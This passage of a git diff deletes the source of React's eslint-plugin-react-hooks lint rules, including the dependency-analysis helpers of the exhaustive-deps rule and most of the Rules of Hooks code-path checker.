-              return fixer.replaceText(
-                declaredDependenciesNode,
-                `[${callback.name}]`,
-              );
-            },
-          },
-        ],
-      });
-    }
-
-    return {
-      CallExpression: visitCallExpression,
-    };
-  },
-};
-
-// The meat of the logic.
-function collectRecommendations({
-  dependencies,
-  declaredDependencies,
-  stableDependencies,
-  externalDependencies,
-  isEffect,
-}) {
-  // Our primary data structure.
-  // It is a logical representation of property chains:
-  // `props` -> `props.foo` -> `props.foo.bar` -> `props.foo.bar.baz`
-  //         -> `props.lol`
-  //         -> `props.huh` -> `props.huh.okay`
-  //         -> `props.wow`
-  // We'll use it to mark nodes that are *used* by the programmer,
-  // and the nodes that were *declared* as deps. Then we will
-  // traverse it to learn which deps are missing or unnecessary.
-  const depTree = createDepTree();
-  function createDepTree() {
-    return {
-      isUsed: false, // True if used in code
-      isSatisfiedRecursively: false, // True if specified in deps
-      isSubtreeUsed: false, // True if something deeper is used by code
-      children: new Map(), // Nodes for properties
-    };
-  }
-
-  // Mark all required nodes first.
-  // Imagine exclamation marks next to each used deep property.
-  dependencies.forEach((_, key) => {
-    const node = getOrCreateNodeByPath(depTree, key);
-    node.isUsed = true;
-    markAllParentsByPath(depTree, key, parent => {
-      parent.isSubtreeUsed = true;
-    });
-  });
-
-  // Mark all satisfied nodes.
-  // Imagine checkmarks next to each declared dependency.
-  declaredDependencies.forEach(({key}) => {
-    const node = getOrCreateNodeByPath(depTree, key);
-    node.isSatisfiedRecursively = true;
-  });
-  stableDependencies.forEach(key => {
-    const node = getOrCreateNodeByPath(depTree, key);
-    node.isSatisfiedRecursively = true;
-  });
-
-  // Tree manipulation helpers.
-  function getOrCreateNodeByPath(rootNode, path) {
-    const keys = path.split('.');
-    let node = rootNode;
-    for (const key of keys) {
-      let child = node.children.get(key);
-      if (!child) {
-        child = createDepTree();
-        node.children.set(key, child);
-      }
-      node = child;
-    }
-    return node;
-  }
-  function markAllParentsByPath(rootNode, path, fn) {
-    const keys = path.split('.');
-    let node = rootNode;
-    for (const key of keys) {
-      const child = node.children.get(key);
-      if (!child) {
-        return;
-      }
-      fn(child);
-      node = child;
-    }
-  }
-
-  // Now we can learn which dependencies are missing or necessary.
-  const missingDependencies = new Set();
-  const satisfyingDependencies = new Set();
-  scanTreeRecursively(
-    depTree,
-    missingDependencies,
-    satisfyingDependencies,
-    key => key,
-  );
-  function scanTreeRecursively(node, missingPaths, satisfyingPaths, keyToPath) {
-    node.children.forEach((child, key) => {
-      const path = keyToPath(key);
-      if (child.isSatisfiedRecursively) {
-        if (child.isSubtreeUsed) {
-          // Remember this dep actually satisfied something.
-          satisfyingPaths.add(path);
-        }
-        // It doesn't matter if there's something deeper.
-        // It would be transitively satisfied since we assume immutability.
-        // `props.foo` is enough if you read `props.foo.id`.
-        return;
-      }
-      if (child.isUsed) {
-        // Remember that no declared deps satisfied this node.
-        missingPaths.add(path);
-        // If we got here, nothing in its subtree was satisfied.
-        // No need to search further.
-        return;
-      }
-      scanTreeRecursively(
-        child,
-        missingPaths,
-        satisfyingPaths,
-        childKey => path + '.' + childKey,
-      );
-    });
-  }
-
-  // Collect suggestions in the order they were originally specified.
-  const suggestedDependencies = [];
-  const unnecessaryDependencies = new Set();
-  const duplicateDependencies = new Set();
-  declaredDependencies.forEach(({key}) => {
-    // Does this declared dep satisfy a real need?
-    if (satisfyingDependencies.has(key)) {
-      if (suggestedDependencies.indexOf(key) === -1) {
-        // Good one.
-        suggestedDependencies.push(key);
-      } else {
-        // Duplicate.
-        duplicateDependencies.add(key);
-      }
-    } else {
-      if (
-        isEffect &&
-        !key.endsWith('.current') &&
-        !externalDependencies.has(key)
-      ) {
-        // Effects are allowed extra "unnecessary" deps.
-        // Such as resetting scroll when ID changes.
-        // Consider them legit.
-        // The exception is ref.current which is always wrong.
-        if (suggestedDependencies.indexOf(key) === -1) {
-          suggestedDependencies.push(key);
-        }
-      } else {
-        // It's definitely not needed.
-        unnecessaryDependencies.add(key);
-      }
-    }
-  });
-
-  // Then add the missing ones at the end.
-  missingDependencies.forEach(key => {
-    suggestedDependencies.push(key);
-  });
-
-  return {
-    suggestedDependencies,
-    unnecessaryDependencies,
-    duplicateDependencies,
-    missingDependencies,
-  };
-}
-
-// If the node will result in constructing a referentially unique value, return
-// its human readable type name, else return null.
-function getConstructionExpressionType(node) {
-  switch (node.type) {
-    case 'ObjectExpression':
-      return 'object';
-    case 'ArrayExpression':
-      return 'array';
-    case 'ArrowFunctionExpression':
-    case 'FunctionExpression':
-      return 'function';
-    case 'ClassExpression':
-      return 'class';
-    case 'ConditionalExpression':
-      if (
-        getConstructionExpressionType(node.consequent) != null ||
-        getConstructionExpressionType(node.alternate) != null
-      ) {
-        return 'conditional';
-      }
-      return null;
-    case 'LogicalExpression':
-      if (
-        getConstructionExpressionType(node.left) != null ||
-        getConstructionExpressionType(node.right) != null
-      ) {
-        return 'logical expression';
-      }
-      return null;
-    case 'JSXFragment':
-      return 'JSX fragment';
-    case 'JSXElement':
-      return 'JSX element';
-    case 'AssignmentExpression':
-      if (getConstructionExpressionType(node.right) != null) {
-        return 'assignment expression';
-      }
-      return null;
-    case 'NewExpression':
-      return 'object construction';
-    case 'Literal':
-      if (node.value instanceof RegExp) {
-        return 'regular expression';
-      }
-      return null;
-    case 'TypeCastExpression':
-    case 'AsExpression':
-    case 'TSAsExpression':
-      return getConstructionExpressionType(node.expression);
-  }
-  return null;
-}
-
-// Finds variables declared as dependencies
-// that would invalidate on every render.
-function scanForConstructions({
-  declaredDependencies,
-  declaredDependenciesNode,
-  componentScope,
-  scope,
-}) {
-  const constructions = declaredDependencies
-    .map(({key}) => {
-      const ref = componentScope.variables.find(v => v.name === key);
-      if (ref == null) {
-        return null;
-      }
-
-      const node = ref.defs[0];
-      if (node == null) {
-        return null;
-      }
-      // const handleChange = function () {}
-      // const handleChange = () => {}
-      // const foo = {}
-      // const foo = []
-      // etc.
-      if (
-        node.type === 'Variable' &&
-        node.node.type === 'VariableDeclarator' &&
-        node.node.id.type === 'Identifier' && // Ensure this is not destructed assignment
-        node.node.init != null
-      ) {
-        const constantExpressionType = getConstructionExpressionType(
-          node.node.init,
-        );
-        if (constantExpressionType != null) {
-          return [ref, constantExpressionType];
-        }
-      }
-      // function handleChange() {}
-      if (
-        node.type === 'FunctionName' &&
-        node.node.type === 'FunctionDeclaration'
-      ) {
-        return [ref, 'function'];
-      }
-
-      // class Foo {}
-      if (node.type === 'ClassName' && node.node.type === 'ClassDeclaration') {
-        return [ref, 'class'];
-      }
-      return null;
-    })
-    .filter(Boolean);
-
-  function isUsedOutsideOfHook(ref) {
-    let foundWriteExpr = false;
-    for (let i = 0; i < ref.references.length; i++) {
-      const reference = ref.references[i];
-      if (reference.writeExpr) {
-        if (foundWriteExpr) {
-          // Two writes to the same function.
-          return true;
-        } else {
-          // Ignore first write as it's not usage.
-          foundWriteExpr = true;
-          continue;
-        }
-      }
-      let currentScope = reference.from;
-      while (currentScope !== scope && currentScope != null) {
-        currentScope = currentScope.upper;
-      }
-      if (currentScope !== scope) {
-        // This reference is outside the Hook callback.
-        // It can only be legit if it's the deps array.
-        if (!isAncestorNodeOf(declaredDependenciesNode, reference.identifier)) {
-          return true;
-        }
-      }
-    }
-    return false;
-  }
-
-  return constructions.map(([ref, depType]) => ({
-    construction: ref.defs[0],
-    depType,
-    isUsedOutsideOfHook: isUsedOutsideOfHook(ref),
-  }));
-}
-
-/**
- * Assuming () means the passed/returned node:
- * (props) => (props)
- * props.(foo) => (props.foo)
- * props.foo.(bar) => (props).foo.bar
- * props.foo.bar.(baz) => (props).foo.bar.baz
- */
-function getDependency(node) {
-  if (
-    (node.parent.type === 'MemberExpression' ||
-      node.parent.type === 'OptionalMemberExpression') &&
-    node.parent.object === node &&
-    node.parent.property.name !== 'current' &&
-    !node.parent.computed &&
-    !(
-      node.parent.parent != null &&
-      (node.parent.parent.type === 'CallExpression' ||
-        node.parent.parent.type === 'OptionalCallExpression') &&
-      node.parent.parent.callee === node.parent
-    )
-  ) {
-    return getDependency(node.parent);
-  } else if (
-    // Note: we don't check OptionalMemberExpression because it can't be LHS.
-    node.type === 'MemberExpression' &&
-    node.parent &&
-    node.parent.type === 'AssignmentExpression' &&
-    node.parent.left === node
-  ) {
-    return node.object;
-  } else {
-    return node;
-  }
-}
-
-/**
- * Mark a node as either optional or required.
- * Note: If the node argument is an OptionalMemberExpression, it doesn't necessarily mean it is optional.
- * It just means there is an optional member somewhere inside.
- * This particular node might still represent a required member, so check .optional field.
- */
-function markNode(node, optionalChains, result) {
-  if (optionalChains) {
-    if (node.optional) {
-      // We only want to consider it optional if *all* usages were optional.
-      if (!optionalChains.has(result)) {
-        // Mark as (maybe) optional. If there's a required usage, this will be overridden.
-        optionalChains.set(result, true);
-      }
-    } else {
-      // Mark as required.
-      optionalChains.set(result, false);
-    }
-  }
-}
-
-/**
- * Assuming () means the passed node.
- * (foo) -> 'foo'
- * foo(.)bar -> 'foo.bar'
- * foo.bar(.)baz -> 'foo.bar.baz'
- * Otherwise throw.
- */
-function analyzePropertyChain(node, optionalChains) {
-  if (node.type === 'Identifier' || node.type === 'JSXIdentifier') {
-    const result = node.name;
-    if (optionalChains) {
-      // Mark as required.
-      optionalChains.set(result, false);
-    }
-    return result;
-  } else if (node.type === 'MemberExpression' && !node.computed) {
-    const object = analyzePropertyChain(node.object, optionalChains);
-    const property = analyzePropertyChain(node.property, null);
-    const result = `${object}.${property}`;
-    markNode(node, optionalChains, result);
-    return result;
-  } else if (node.type === 'OptionalMemberExpression' && !node.computed) {
-    const object = analyzePropertyChain(node.object, optionalChains);
-    const property = analyzePropertyChain(node.property, null);
-    const result = `${object}.${property}`;
-    markNode(node, optionalChains, result);
-    return result;
-  } else if (node.type === 'ChainExpression' && !node.computed) {
-    const expression = node.expression;
-
-    if (expression.type === 'CallExpression') {
-      throw new Error(`Unsupported node type: ${expression.type}`);
-    }
-
-    const object = analyzePropertyChain(expression.object, optionalChains);
-    const property = analyzePropertyChain(expression.property, null);
-    const result = `${object}.${property}`;
-    markNode(expression, optionalChains, result);
-    return result;
-  } else {
-    throw new Error(`Unsupported node type: ${node.type}`);
-  }
-}
-
-function getNodeWithoutReactNamespace(node, options) {
-  if (
-    node.type === 'MemberExpression' &&
-    node.object.type === 'Identifier' &&
-    node.object.name === 'React' &&
-    node.property.type === 'Identifier' &&
-    !node.computed
-  ) {
-    return node.property;
-  }
-  return node;
-}
-
-// What's the index of callback that needs to be analyzed for a given Hook?
-// -1 if it's not a Hook we care about (e.g. useState).
-// 0 for useEffect/useMemo/useCallback(fn).
-// 1 for useImperativeHandle(ref, fn).
-// For additionally configured Hooks, assume that they're like useEffect (0).
-function getReactiveHookCallbackIndex(calleeNode, options) {
-  const node = getNodeWithoutReactNamespace(calleeNode);
-  if (node.type !== 'Identifier') {
-    return -1;
-  }
-  switch (node.name) {
-    case 'useEffect':
-    case 'useLayoutEffect':
-    case 'useCallback':
-    case 'useMemo':
-      // useEffect(fn)
-      return 0;
-    case 'useImperativeHandle':
-      // useImperativeHandle(ref, fn)
-      return 1;
-    default:
-      if (node === calleeNode && options && options.additionalHooks) {
-        // Allow the user to provide a regular expression which enables the lint to
-        // target custom reactive hooks.
-        let name;
-        try {
-          name = analyzePropertyChain(node, null);
-        } catch (error) {
-          if (/Unsupported node type/.test(error.message)) {
-            return 0;
-          } else {
-            throw error;
-          }
-        }
-        return options.additionalHooks.test(name) ? 0 : -1;
-      } else {
-        return -1;
-      }
-  }
-}
-
-/**
- * ESLint won't assign node.parent to references from context.getScope()
- *
- * So instead we search for the node from an ancestor assigning node.parent
- * as we go. This mutates the AST.
- *
- * This traversal is:
- * - optimized by only searching nodes with a range surrounding our target node
- * - agnostic to AST node types, it looks for `{ type: string, ... }`
- */
-function fastFindReferenceWithParent(start, target) {
-  const queue = [start];
-  let item = null;
-
-  while (queue.length) {
-    item = queue.shift();
-
-    if (isSameIdentifier(item, target)) {
-      return item;
-    }
-
-    if (!isAncestorNodeOf(item, target)) {
-      continue;
-    }
-
-    for (const [key, value] of Object.entries(item)) {
-      if (key === 'parent') {
-        continue;
-      }
-      if (isNodeLike(value)) {
-        value.parent = item;
-        queue.push(value);
-      } else if (Array.isArray(value)) {
-        value.forEach(val => {
-          if (isNodeLike(val)) {
-            val.parent = item;
-            queue.push(val);
-          }
-        });
-      }
-    }
-  }
-
-  return null;
-}
-
-function joinEnglish(arr) {
-  let s = '';
-  for (let i = 0; i < arr.length; i++) {
-    s += arr[i];
-    if (i === 0 && arr.length === 2) {
-      s += ' and ';
-    } else if (i === arr.length - 2 && arr.length > 2) {
-      s += ', and ';
-    } else if (i < arr.length - 1) {
-      s += ', ';
-    }
-  }
-  return s;
-}
-
-function isNodeLike(val) {
-  return (
-    typeof val === 'object' &&
-    val !== null &&
-    !Array.isArray(val) &&
-    typeof val.type === 'string'
-  );
-}
-
-function isSameIdentifier(a, b) {
-  return (
-    (a.type === 'Identifier' || a.type === 'JSXIdentifier') &&
-    a.type === b.type &&
-    a.name === b.name &&
-    a.range[0] === b.range[0] &&
-    a.range[1] === b.range[1]
-  );
-}
-
-function isAncestorNodeOf(a, b) {
-  return a.range[0] <= b.range[0] && a.range[1] >= b.range[1];
-}
-
-function isUseEffectEventIdentifier(node) {
-  if (__EXPERIMENTAL__) {
-    return node.type === 'Identifier' && node.name === 'useEffectEvent';
-  }
-  return false;
-}
diff --git a/packages/eslint-plugin-react-hooks/src/RulesOfHooks.js b/packages/eslint-plugin-react-hooks/src/RulesOfHooks.js
deleted file mode 100644
index 97e72f01e4ad..000000000000
--- a/packages/eslint-plugin-react-hooks/src/RulesOfHooks.js
+++ /dev/null
@@ -1,733 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-/* global BigInt */
-/* eslint-disable no-for-of-loops/no-for-of-loops */
-
-'use strict';
-
-/**
- * Catch all identifiers that begin with "use" followed by an uppercase Latin
- * character to exclude identifiers like "user".
- */
-
-function isHookName(s) {
-  return s === 'use' || /^use[A-Z0-9]/.test(s);
-}
-
-/**
- * We consider hooks to be a hook name identifier or a member expression
- * containing a hook name.
- */
-
-function isHook(node) {
-  if (node.type === 'Identifier') {
-    return isHookName(node.name);
-  } else if (
-    node.type === 'MemberExpression' &&
-    !node.computed &&
-    isHook(node.property)
-  ) {
-    const obj = node.object;
-    const isPascalCaseNameSpace = /^[A-Z].*/;
-    return obj.type === 'Identifier' && isPascalCaseNameSpace.test(obj.name);
-  } else {
-    return false;
-  }
-}
-
-/**
- * Checks if the node is a React component name. React component names must
- * always start with an uppercase letter.
- */
-
-function isComponentName(node) {
-  return node.type === 'Identifier' && /^[A-Z]/.test(node.name);
-}
-
-function isReactFunction(node, functionName) {
-  return (
-    node.name === functionName ||
-    (node.type === 'MemberExpression' &&
-      node.object.name === 'React' &&
-      node.property.name === functionName)
-  );
-}
-
-/**
- * Checks if the node is a callback argument of forwardRef. This render function
- * should follow the rules of hooks.
- */
-
-function isForwardRefCallback(node) {
-  return !!(
-    node.parent &&
-    node.parent.callee &&
-    isReactFunction(node.parent.callee, 'forwardRef')
-  );
-}
-
-/**
- * Checks if the node is a callback argument of React.memo. This anonymous
- * functional component should follow the rules of hooks.
- */
-
-function isMemoCallback(node) {
-  return !!(
-    node.parent &&
-    node.parent.callee &&
-    isReactFunction(node.parent.callee, 'memo')
-  );
-}
-
-function isInsideComponentOrHook(node) {
-  while (node) {
-    const functionName = getFunctionName(node);
-    if (functionName) {
-      if (isComponentName(functionName) || isHook(functionName)) {
-        return true;
-      }
-    }
-    if (isForwardRefCallback(node) || isMemoCallback(node)) {
-      return true;
-    }
-    node = node.parent;
-  }
-  return false;
-}
-
-function isUseEffectEventIdentifier(node) {
-  if (__EXPERIMENTAL__) {
-    return node.type === 'Identifier' && node.name === 'useEffectEvent';
-  }
-  return false;
-}
-
-function isUseIdentifier(node) {
-  return isReactFunction(node, 'use');
-}
-
-export default {
-  meta: {
-    type: 'problem',
-    docs: {
-      description: 'enforces the Rules of Hooks',
-      recommended: true,
-      url: 'https://reactjs.org/docs/hooks-rules.html',
-    },
-  },
-  create(context) {
-    let lastEffect = null;
-    const codePathReactHooksMapStack = [];
-    const codePathSegmentStack = [];
-    const useEffectEventFunctions = new WeakSet();
-
-    // For a given scope, iterate through the references and add all useEffectEvent definitions. We can
-    // do this in non-Program nodes because we can rely on the assumption that useEffectEvent functions
-    // can only be declared within a component or hook at its top level.
-    function recordAllUseEffectEventFunctions(scope) {
-      for (const reference of scope.references) {
-        const parent = reference.identifier.parent;
-        if (
-          parent.type === 'VariableDeclarator' &&
-          parent.init &&
-          parent.init.type === 'CallExpression' &&
-          parent.init.callee &&
-          isUseEffectEventIdentifier(parent.init.callee)
-        ) {
-          for (const ref of reference.resolved.references) {
-            if (ref !== reference) {
-              useEffectEventFunctions.add(ref.identifier);
-            }
-          }
-        }
-      }
-    }
-
-    /**
-     * SourceCode#getText that also works down to ESLint 3.0.0
-     */
-    const getSource =
-      typeof context.getSource === 'function'
-        ? node => {
-            return context.getSource(node);
-          }
-        : node => {
-            return context.sourceCode.getText(node);
-          };
-    /**
-     * SourceCode#getScope that also works down to ESLint 3.0.0
-     */
-    const getScope =
-      typeof context.getScope === 'function'
-        ? () => {
-            return context.getScope();
-          }
-        : node => {
-            return context.sourceCode.getScope(node);
-          };
-
-    return {
-      // Maintain code segment path stack as we traverse.
-      onCodePathSegmentStart: segment => codePathSegmentStack.push(segment),
-      onCodePathSegmentEnd: () => codePathSegmentStack.pop(),
-
-      // Maintain code path stack as we traverse.
-      onCodePathStart: () => codePathReactHooksMapStack.push(new Map()),
-
-      // Process our code path.
-      //
-      // Everything is ok if all React Hooks are both reachable from the initial
-      // segment and reachable from every final segment.
-      onCodePathEnd(codePath, codePathNode) {
-        const reactHooksMap = codePathReactHooksMapStack.pop();
-        if (reactHooksMap.size === 0) {
-          return;
-        }
-
-        // All of the segments which are cyclic are recorded in this set.
-        const cyclic = new Set();
-
-        /**
-         * Count the number of code paths from the start of the function to this
-         * segment. For example:
-         *
-         * ```js
-         * function MyComponent() {
-         *   if (condition) {
-         *     // Segment 1
-         *   } else {
-         *     // Segment 2
-         *   }
-         *   // Segment 3
-         * }
-         * ```
-         *
-         * Segments 1 and 2 have one path to the beginning of `MyComponent` and
-         * segment 3 has two paths to the beginning of `MyComponent` since we
-         * could have either taken the path of segment 1 or segment 2.
-         *
-         * Populates `cyclic` with cyclic segments.
-         */
-
-        function countPathsFromStart(segment, pathHistory) {
-          const {cache} = countPathsFromStart;
-          let paths = cache.get(segment.id);
-          const pathList = new Set(pathHistory);
-
-          // If `pathList` includes the current segment then we've found a cycle!
-          // We need to fill `cyclic` with all segments inside cycle
-          if (pathList.has(segment.id)) {
-            const pathArray = [...pathList];
-            const cyclicSegments = pathArray.slice(
-              pathArray.indexOf(segment.id) + 1,
-            );
-            for (const cyclicSegment of cyclicSegments) {
-              cyclic.add(cyclicSegment);
-            }
-
-            return BigInt('0');
-          }
-
-          // add the current segment to pathList
-          pathList.add(segment.id);
-
-          // We have a cached `paths`. Return it.
-          if (paths !== undefined) {
-            return paths;
-          }
-
-          if (codePath.thrownSegments.includes(segment)) {
-            paths = BigInt('0');
-          } else if (segment.prevSegments.length === 0) {
-            paths = BigInt('1');
-          } else {
-            paths = BigInt('0');
-            for (const prevSegment of segment.prevSegments) {
-              paths += countPathsFromStart(prevSegment, pathList);
-            }
-          }
-
-          // If our segment is reachable then there should be at least one path
-          // to it from the start of our code path.
-          if (segment.reachable && paths === BigInt('0')) {
-            cache.delete(segment.id);
-          } else {
-            cache.set(segment.id, paths);
-          }
-
-          return paths;
-        }
-
-        /**
-         * Count the number of code paths from this segment to the end of the
-         * function. For example:
-         *
-         * ```js
-         * function MyComponent() {
-         *   // Segment 1
-         *   if (condition) {
-         *     // Segment 2
-         *   } else {
-         *     // Segment 3
-         *   }
-         * }
-         * ```
-         *
-         * Segments 2 and 3 have one path to the end of `MyComponent` and
-         * segment 1 has two paths to the end of `MyComponent` since we could
-         * either take the path of segment 1 or segment 2.
-         *
-         * Populates `cyclic` with cyclic segments.
-         */
-
-        function countPathsToEnd(segment, pathHistory) {
-          const {cache} = countPathsToEnd;
-          let paths = cache.get(segment.id);
-          const pathList = new Set(pathHistory);
-
-          // If `pathList` includes the current segment then we've found a cycle!
-          // We need to fill `cyclic` with all segments inside cycle
-          if (pathList.has(segment.id)) {
-            const pathArray = Array.from(pathList);
-            const cyclicSegments = pathArray.slice(
-              pathArray.indexOf(segment.id) + 1,
-            );
-            for (const cyclicSegment of cyclicSegments) {
-              cyclic.add(cyclicSegment);
-            }
-
-            return BigInt('0');
-          }
-
-          // add the current segment to pathList
-          pathList.add(segment.id);
-
-          // We have a cached `paths`. Return it.
-          if (paths !== undefined) {
-            return paths;
-          }
-
-          if (codePath.thrownSegments.includes(segment)) {
-            paths = BigInt('0');
-          } else if (segment.nextSegments.length === 0) {
-            paths = BigInt('1');
-          } else {
-            paths = BigInt('0');
-            for (const nextSegment of segment.nextSegments) {
-              paths += countPathsToEnd(nextSegment, pathList);
-            }
-          }
-
-          cache.set(segment.id, paths);
-          return paths;
-        }
-
-        /**
-         * Gets the shortest path length to the start of a code path.
-         * For example:
-         *
-         * ```js
-         * function MyComponent() {
-         *   if (condition) {
-         *     // Segment 1
-         *   }
-         *   // Segment 2
-         * }
-         * ```
-         *
-         * There is only one path from segment 1 to the code path start. Its
-         * length is one so that is the shortest path.
-         *
-         * There are two paths from segment 2 to the code path start. One
-         * through segment 1 with a length of two and another directly to the
-         * start with a length of one. The shortest path has a length of one
-         * so we would return that.
-         */
-
-        function shortestPathLengthToStart(segment) {
-          const {cache} = shortestPathLengthToStart;
-          let length = cache.get(segment.id);
-
-          // If `length` is null then we found a cycle! Return infinity since
-          // the shortest path is definitely not the one where we looped.
-          if (length === null) {
-            return Infinity;
-          }
-
-          // We have a cached `length`. Return it.
-          if (length !== undefined) {
-            return length;
-          }
-
-          // Compute `length` and cache it. Guarding against cycles.
-          cache.set(segment.id, null);
-          if (segment.prevSegments.length === 0) {
-            length = 1;
-          } else {
-            length = Infinity;
-            for (const prevSegment of segment.prevSegments) {
-              const prevLength = shortestPathLengthToStart(prevSegment);
-              if (prevLength < length) {
-                length = prevLength;
-              }
-            }
-            length += 1;
-          }
-          cache.set(segment.id, length);
-          return length;
-        }
-
-        countPathsFromStart.cache = new Map();
-        countPathsToEnd.cache = new Map();
-        shortestPathLengthToStart.cache = new Map();
-
-        // Count all code paths to the end of our component/hook. Also primes
-        // the `countPathsToEnd` cache.
-        const allPathsFromStartToEnd = countPathsToEnd(codePath.initialSegment);
-
-        // Gets the function name for our code path. If the function name is
-        // `undefined` then we know either that we have an anonymous function
-        // expression or our code path is not in a function. In both cases we
-        // will want to error since neither are React function components or
-        // hook functions - unless it is an anonymous function argument to
-        // forwardRef or memo.
-        const codePathFunctionName = getFunctionName(codePathNode);
-
-        // This is a valid code path for React hooks if we are directly in a React
-        // function component or we are in a hook function.
-        const isSomewhereInsideComponentOrHook =
-          isInsideComponentOrHook(codePathNode);
-        const isDirectlyInsideComponentOrHook = codePathFunctionName
-          ? isComponentName(codePathFunctionName) ||
-            isHook(codePathFunctionName)
-          : isForwardRefCallback(codePathNode) || isMemoCallback(codePathNode);
-
-        // Compute the earliest finalizer level using information from the
-        // cache. We expect all reachable final segments to have a cache entry
-        // after calling `visitSegment()`.
-        let shortestFinalPathLength = Infinity;
-        for (const finalSegment of codePath.finalSegments) {
-          if (!finalSegment.reachable) {
-            continue;
-          }
-          const length = shortestPathLengthToStart(finalSegment);
-          if (length < shortestFinalPathLength) {
-            shortestFinalPathLength = length;
-          }
-        }
-
-        // Make sure all React Hooks pass our lint invariants. Log warnings
-        // if not.
-        for (const [segment, reactHooks] of reactHooksMap) {
-          // NOTE: We could report here that the hook is not reachable, but
-          // that would be redundant with more general "no unreachable"
-          // lint rules.
-          if (!segment.reachable) {
-            continue;
-          }
-
-          // If there are any final segments with a shorter path to start then
-          // we possibly have an early return.
-          //
-          // If our segment is a final segment itself then siblings could
-          // possibly be early returns.
-          const possiblyHasEarlyReturn =
-            segment.nextSegments.length === 0
-              ? shortestFinalPathLength <= shortestPathLengthToStart(segment)
-              : shortestFinalPathLength < shortestPathLengthToStart(segment);
-
-          // Count all the paths from the start of our code path to the end of
-          // our code path that go _through_ this segment. The critical piece
-          // of this is _through_. If we just call `countPathsToEnd(segment)`
-          // then we neglect that we may have gone through multiple paths to get
-          // to this point! Consider:
-          //
-          // ```js
-          // function MyComponent() {
-          //   if (a) {
-          //     // Segment 1
-          //   } else {
-          //     // Segment 2
-          //   }
-          //   // Segment 3
-          //   if (b) {
-          //     // Segment 4
-          //   } else {
-          //     // Segment 5
-          //   }
-          // }
-          // ```
-          //
-          // In this component we have four code paths:
-          //
-          // 1. `a = true; b = true`
-          // 2. `a = true; b = false`
-          // 3. `a = false; b = true`
-          // 4. `a = false; b = false`
-          //
-          // From segment 3 there are two code paths to the end through segment
-          // 4 and segment 5. However, we took two paths to get here through
-          // segment 1 and segment 2.
-          //
-          // If we multiply the paths from start (two) by the paths to end (two)
-          // for segment 3 we get four. Which is our desired count.
-          const pathsFromStartToEnd =
-            countPathsFromStart(segment) * countPathsToEnd(segment);
-
-          // Is this hook a part of a cyclic segment?
-          const cycled = cyclic.has(segment.id);
-
-          for (const hook of reactHooks) {
-            // Report an error if a hook may be called more then once.
-            // `use(...)` can be called in loops.
-            if (cycled && !isUseIdentifier(hook)) {
-              context.report({
-                node: hook,
-                message:
-                  `React Hook "${getSource(hook)}" may be executed ` +
-                  'more than once. Possibly because it is called in a loop. ' +
-                  'React Hooks must be called in the exact same order in ' +
-                  'every component render.',
-              });
-            }
-
-            // If this is not a valid code path for React hooks then we need to
-            // log a warning for every hook in this code path.
-            //
-            // Pick a special message depending on the scope this hook was
-            // called in.
-            if (isDirectlyInsideComponentOrHook) {
-              // Report an error if the hook is called inside an async function.
-              const isAsyncFunction = codePathNode.async;
-              if (isAsyncFunction) {
-                context.report({
-                  node: hook,
-                  message:
-                    `React Hook "${getSource(hook)}" cannot be ` +
-                    'called in an async function.',
-                });
-              }
-
-              // Report an error if a hook does not reach all finalizing code
-              // path segments.
-              //
-              // Special case when we think there might be an early return.
-              if (
-                !cycled &&
-                pathsFromStartToEnd !== allPathsFromStartToEnd &&
-                !isUseIdentifier(hook) // `use(...)` can be called conditionally.
-              ) {
-                const message =
-                  `React Hook "${getSource(hook)}" is called ` +
-                  'conditionally. React Hooks must be called in the exact ' +
-                  'same order in every component render.' +
-                  (possiblyHasEarlyReturn
-                    ? ' Did you accidentally call a React Hook after an' +
-                      ' early return?'
-                    : '');
-                context.report({node: hook, message});
-              }
-            } else if (
-              codePathNode.parent &&
-              (codePathNode.parent.type === 'MethodDefinition' ||
-                codePathNode.parent.type === 'ClassProperty') &&
-              codePathNode.parent.value === codePathNode
-            ) {
-              // Custom message for hooks inside a class
-              const message =
-                `React Hook "${getSource(hook)}" cannot be called ` +
-                'in a class component. React Hooks must be called in a ' +
-                'React function component or a custom React Hook function.';
-              context.report({node: hook, message});
-            } else if (codePathFunctionName) {
-              // Custom message if we found an invalid function name.
-              const message =
-                `React Hook "${getSource(hook)}" is called in ` +
-                `function "${getSource(codePathFunctionName)}" ` +
-                'that is neither a React function component nor a custom ' +
-                'React Hook function.' +
-                ' React component names must start with an uppercase letter.' +
-                ' React Hook names must start with the word "use".';
-              context.report({node: hook, message});
-            } else if (codePathNode.type === 'Program') {
-              // These are dangerous if you have inline requires enabled.
-              const message =
-                `React Hook "${getSource(hook)}" cannot be called ` +
-                'at the top level. React Hooks must be called in a ' +
-                'React function component or a custom React Hook function.';
-              context.report({node: hook, message});
-            } else {
-              // Assume in all other cases the user called a hook in some
-              // random function callback. This should usually be true for
-              // anonymous function expressions. Hopefully this is clarifying
-              // enough in the common case that the incorrect message in
-              // uncommon cases doesn't matter.
-              // `use(...)` can be called in callbacks.
-              if (isSomewhereInsideComponentOrHook && !isUseIdentifier(hook)) {
-                const message =
-                  `React Hook "${getSource(hook)}" cannot be called ` +
-                  'inside a callback. React Hooks must be called in a ' +
-                  'React function component or a custom React Hook function.';
-                context.report({node: hook, message});
-              }
-            }
-          }
-        }
-      },
-
-      // Missed opportunity...We could visit all `Identifier`s instead of all
-      // `CallExpression`s and check that _every use_ of a hook name is valid.
-      // But that gets complicated and enters type-system territory, so we're
-      // only being strict about hook calls for now.
-      CallExpression(node) {
-        if (isHook(node.callee)) {
-          // Add the hook node to a map keyed by the code path segment. We will
-          // do full code path analysis at the end of our code path.
-          const reactHooksMap = last(codePathReactHooksMapStack);
-          const codePathSegment = last(codePathSegmentStack);
-          let reactHooks = reactHooksMap.get(codePathSegment);
-          if (!reactHooks) {
-            reactHooks = [];
-            reactHooksMap.set(codePathSegment, reactHooks);
-          }
-          reactHooks.push(node.callee);
-        }
-
-        // useEffectEvent: useEffectEvent functions can be passed by reference within useEffect as well as in
-        // another useEffectEvent
-        if (
-          node.callee.type === 'Identifier' &&
-          (node.callee.name === 'useEffect' ||
-            isUseEffectEventIdentifier(node.callee)) &&
-          node.arguments.length > 0
-        ) {
-          // Denote that we have traversed into a useEffect call, and stash the CallExpr for
-          // comparison later when we exit
-          lastEffect = node;
-        }
-      },
-
-      Identifier(node) {
-        // This identifier resolves to a useEffectEvent function, but isn't being referenced in an
-        // effect or another event function. It isn't being called either.
-        if (
-          lastEffect == null &&
-          useEffectEventFunctions.has(node) &&
-          node.parent.type !== 'CallExpression'
-        ) {
-          context.report({
-            node,
-            message:
-              `\`${getSource(
-                node,
